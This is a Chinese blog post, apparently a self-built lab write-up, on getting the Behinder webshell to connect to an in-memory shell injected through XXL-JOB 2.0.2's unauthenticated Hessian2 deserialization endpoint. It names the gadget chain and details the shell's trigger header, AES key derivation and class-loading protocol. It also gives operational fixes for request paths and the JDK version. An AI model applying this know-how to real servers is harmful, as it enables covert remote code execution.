内存马连不上冰蝎?查到最后,凶手是 JDK 版本
一次 XXL-JOB 2.0.2 内存马注入后的排障记录。
结论先放前面:冰蝎 v4.1 用 JDK 25 启动时,会一个请求都不发,表现就是"连接失败"。换成 JDK 8,秒连。
一、背景
目标是 XXL-JOB 2.0.2 的后台,利用其未授权的 Hessian2 反序列化入口/xxl-job-admin/api打内存马。
- 服务端:Spring Boot 1.5.20 + 内嵌 Tomcat 8.5.39,JDK 8,context 为
/xxl-job-admin - 入口:
/xxl-job-admin/api对应com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler,未授权即可反序列化 - 利用链:java-chains 的
Hessian2Payload → XsltOnlyJdk → JsConvert → BytecodeConvert → JmgGadget
内存马通过defineClass把一段字节码塞进 JVM,不落地文件,然后用冰蝎(Behinder)连上去操作。注入很顺利,问题全都出在"连冰蝎"这一步。
二、现象
内存马注入完成后,冰蝎配置:
| 项 | 值 |
|---|---|
| 地址 | http://<靶场>:8080/xxl-job-admin/api(一开始) |
| 连接密码 | zNpZlY |
| 请求头 | Accept: rasSLfbCVSQrAhWXdvWW |
| 脚本类型 | jsp / 加密器:默认 |
连接失败。界面空白 / 超时,没有任何有用报错。
三、排障过程
3.1 第一步:先确认"马"本身活着
不要一上来就怀疑密码、编码、路径。先证明马到底是死是活——写一个"山寨冰蝎"的 Java 客户端,直接按内存马的协议发一条请求,看服务端回什么。
内存马的协议(从字节码逆向出来的)是固定的:
POST <任意路径> 请求头: Accept: <headerValue> 请求体: base64( AES( payload类的字节码 ) ) // 单独一行服务端收到后:
- 校验请求头里包含
headerValue - 把
session属性"u"设为pass base64 解码 → AES 解密得到一段 class 字节defineClass加载 →newInstance()→ 调用equals(HashMap{request, response, session})- payload 在
equals里把结果AES 加密 + base64写回 response
密钥key = MD5(连接密码)[:16](16 个十六进制字符当 ASCII 用)。例如密码zNpZlY→7d34f5e14103ac07。
山寨客户端本地跑通后,打到靶场:
[*] payload class = 6027 bytes, key = 7d34f5e14103ac07 [*] HTTP 200 / response 898 bytes ---- raw response (first 400 bytes) ---- Li2VDD8yRSjgrhK/ZguF52ixxy/BEAKVUY7gJjHPp+o+iAtW39MLOPw+GVq2XV52yRmz9tlYaRXlgB3u/OOK4Q==<!DOCTYPE html> <html><head><meta charset="UTF-8"><title>Error</title>... ---- decrypt ---- [X] whole body decrypt failed: Input byte array has incorrect ending byte at 88 [PART] leading base64 run decrypted -> PONG|os=Linux|key=7d34f5e14103ac07|t=1790500075295关键信息全在这了:
- 马是活的,
PONG|os=Linux|key=7d34f5e14103ac07说明它正常执行、正常回数据 - 但密文后面被拼了一段 HTML 错误页,整段没法解密 → 冰蝎自然也是这个下场
3.2 定位:Listener 的"顺路踩踏"
这次注入的是Listener(监听器)类型的马,它有个特点:请求进来它先跑,跑完请求还会继续往下走。
流程是这样的:
- Listener 先触发,为了解密它调用了
request.getReader(),把请求体读走了 - 请求继续往下走,落到
/api这个 Servlet /api又要调request.getInputStream()读 body- 同一个请求里
getReader()和getInputStream()不能混用 → 直接抛java.lang.IllegalStateException: getReader() has already been called for this request - Tomcat 把这个异常做成了错误页,拼在密文后面
用 curl 一验就明白(带上/不带请求头,同一个路径对比):
/zzz 不带 Accept → 404 (马没触发) /zzz 带 Accept → 500 (马触发了,但我发的是空 body,解密失败) /api 带 Accept → 200 + IllegalStateException: getReader() has already been called3.3 解决响应污染:换个"没人管"的路径
既然问题是"请求继续走到了/api",那就让它走一个不存在的路径,没人再来读 body,也就不会报错。
把地址从/api换成/zzz(随便一个不存在的路径),同一个山寨客户端再打:
[*] HTTP 200 / response 88 bytes ---- raw response (first 400 bytes) ---- Li2VDD8yRSjgrhK/ZguF52ixxy/BEAKVUY7gJjHPp+oLx3XCTw+OrQ5BoQZGhabKyTQWds+PycFwQvoNIwfPQQ== ---- decrypt ---- [OK] whole body decrypted -> PONG|os=Linux|key=7d34f5e14103ac07|t=1790500199650干净了,整段能直接解出PONG。
记一笔:Listener 类型的马,连接地址千万别指到
/api这种会读 body 的接口,否则响应永远是被污染的。
到这一步,理论上冰蝎把地址改成/zzz就该连上了。然而——
3.4 冰蝎还是连不上,而且最诡异的是:它一个包都没发
继续排查。在冰蝎所在的主机上起一个 TCP 监听,看它到底发了什么:
# 简化版:监听 127.0.0.1:9000,把收到的原始 HTTP 打印出来$listener=New-ObjectSystem.Net.Sockets.TcpListener([System.Net.IPAddress]::Loopback,9000)$listener.Start()while($true){$client=$listener.AcceptTcpClient()$stream=$client.GetStream()$buf=New-Objectbyte[]16384$n=$stream.Read($buf,0,$buf.Length)[Text.Encoding]::GetEncoding('ISO-8859-1').GetString($buf,0,$n)$client.Close()}注意一个高频坑:监听一定要和冰蝎在同一台机器上。冰蝎在 Windows 主机上跑,监听就该开在主机;开在 Kali 虚拟机上的话,主机上的127.0.0.1是它自己,永远抓不到。
结果:监听器里始终只有我自己 curl 的探活请求,冰蝎一条都没有。
也就是说,冰蝎看起来在"连接",实际上根本没往外发请求。
3.5 抓不到就去看它自己
既然行为诡异,直接看这个软件的配置和运行状态。
(1)读它的 shell 配置——冰蝎 v4.1 把 shell 列表存在同目录的data.db(SQLite)里:
http://127.0.0.1:9000/zzz 127.0.0.1 zNpZlY jsp Accept: rasSLfbCVSQrAhWXdvWW default http://192.168.1.128:8080/xxl-job-admin/api 192.168.1.128 RdSLyemTjw jsp Accept: QwbtGFvEdYbEWjIsN default配置本身没问题:地址、密码、请求头都对。
(2)看它的运行参数(它是桌面程序,看不到控制台,就从进程命令行看):
Get-CimInstanceWin32_Process-Filter"ProcessId=35460"|Select-Object-ExpandProperty CommandLine# "C:\Program Files\Java\jdk-25.0.2\bin\javaw.exe" -jar "...\Behinder_v4.1.t00ls\Behinder.jar"一眼看到问题:它用的是 JDK 25。
Behinder v4.1 是 2023 年的工具,跑在 JDK 25 这种新版本上,很可能在真正发请求之前就抛异常/静默失败了。
四、根因与修复
根因:冰蝎 v4.1 跑在 JDK 25 上,请求根本发不出去。
(同一台机器上JAVA_HOME其实指着 JDK 8,但冰蝎的启动方式用了 JDK 25。)
修复:用 JDK 8 重新启动冰蝎。
Stop-Process-Id <冰蝎PID>-Force &"C:\Program Files\Java\jdk1.8.0_172\bin\javaw.exe"-jar Behinder.jar换 JDK 8 之后,监听器立刻抓到了冰蝎的完整请求:
POST /zzz HTTP/1.1 Accept: rasSLfbCVSQrAhWXdvWW Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0 Content-Length: 9856 Connection: Keep-Alive Accept-Encoding: gzip yKTLmdso2qSPdeogPsZNNngmI6xFHJxs... (9856 字节 base64 的 AES payload)请求头、请求体都对。把地址指回靶场的/zzz——连接成功。
五、踩坑清单(可直接抄)
- 连接失败先别怀疑密码/编码。先写个最小客户端或发条 curl,确认马本身活着、能回数据。
- AES 密钥不是密码本身,是
MD5(密码)[:16]。搞错这个会一直"解不出来"。 - Listener 类型的马别连
/api这类会读 body 的接口。Listener 拦不住请求往下走,后面的 Servlet 一读 body 就抛异常,Tomcat 把错误页拼在密文后面,冰蝎解不了。换一个不存在的路径即可。 - 抓包监听一定要开在冰蝎所在的那台机器上。
127.0.0.1指的是"本机自己",跨机器时此处是最大的坑。 - 桌面工具"没反应",先看它用什么 Java 跑的。老工具 + 新 JDK 是经典组合坑。冰蝎 v4.1 请用JDK 8。判断方法:
Get-CimInstance Win32_Process看命令行,或读data.db看配置。 - 抓不到网络流量时,换个维度看。读它的配置文件(SQLite)、截屏 + OCR 看界面状态、看进程参数,都有用。
附:内存马协议速查
| 环节 | 说明 |
|---|---|
| 入口 | POST,请求体 =base64(AES(payload类字节码)),单独一行 |
| 触发条件 | 请求头含headerValue(如Accept: rasSLfb...) |
| 密钥 | MD5(连接密码)[:16],16 字节 ASCII |
| 加密 | AES/ECB/PKCS5Padding |
| 执行 | defineClass(class) → newInstance() → equals(HashMap{request, response, session}) |
| 回包 | payload 把结果AES + base64写进 response |
本文所有密码/请求头均为靶场实测值,环境为自建、仅供学习。